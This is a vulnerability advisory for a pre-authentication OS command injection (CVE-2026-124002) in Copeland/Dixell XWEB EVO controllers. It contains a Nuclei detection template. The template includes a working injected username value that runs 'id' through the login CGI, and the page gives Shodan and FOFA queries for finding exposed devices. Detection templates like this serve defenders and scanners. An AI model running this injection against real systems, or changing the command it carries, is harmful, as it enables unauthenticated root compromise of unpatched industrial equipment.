CVE-2026-124002: Copeland/Dixell XWEB EVO - Pre-Auth OS Command Injection via Username

2026-11-29 PoC Public

Description

XWEB EVO versions 5.2.3 through before 5.7.0 contain a pre-authentication OS command injection vulnerability. The login.lua CGI splices the submitted username directly into an io.popen() shell command (via find) before any password check occurs. Injecting shell metacharacters closes the find argument and executes arbitrary OS commands as www-data, escalatable to root via the setuid-root wlua interpreter (CVE-2026-124003). The product is End-of-Software-Support (EOL March 2026) and will not receive patches.

Details

CVE
CVE-2026-124002 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-124002

info:
  name: Copeland/Dixell XWEB EVO - Pre-Auth OS Command Injection via Username
  author: ritikchaddha
  severity: critical
  description: |
    XWEB EVO versions 5.2.3 through before 5.7.0 contain a pre-authentication OS command injection vulnerability. The login.lua CGI splices the submitted username directly into an io.popen() shell command (via find) before any password check occurs. Injecting shell metacharacters closes the find argument and executes arbitrary OS commands as www-data, escalatable to root via the setuid-root wlua interpreter (CVE-2026-124003). The product is End-of-Software-Support (EOL March 2026) and will not receive patches.
  impact: |
    Unauthenticated remote attackers can execute arbitrary OS commands as root, leading to full system compromise.
  remediation: |
    Upgrade to version 5.7.0 or later.
  reference:
    - https://www.vulncheck.com/blog/copeland-xweb-evo-unauthenticated-root
    - https://www.vulncheck.com/advisories/dixell-copeland-xweb-evo-pre-authentication-os-command-injection-via-username
    - https://github.com/fixedbyreboot/CVE-2026-124002-POC
    - https://nvd.nist.gov/vuln/detail/CVE-2026-124002
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-124002
    epss-score: 0.10227
    epss-percentile: 0.96412
    cwe-id: CWE-78
  metadata:
    max-request: 2
    vendor: Copeland/Dixell
    product: XWEB EVO
    shodan-query: title:"XWEB" "XWEB EVO Client"
    fofa-query: title="XWEB" && body="XWEB EVO Client"
    verified: true
  tags: cve,cve2026,rce,ics,xweb,copeland,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<title>XWEB</title>"
          - "XWEB EVO Client"
        condition: or
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/login.lua?action=login&password=x&username=%22;id;echo%20%22"

    matchers:
      - type: dsl
        dsl:
          - "regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body)"
# digest: 4b0a00483046022100e637716b3ac9a8b3b4f39cda27b7e0eb68472caa7e4e1111e0f9d29ee9a0c23b022100dbf245f311bfdcc651a802452ccba3cc63b1aa303a8ebdf2ad0a2c37f94c92d0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life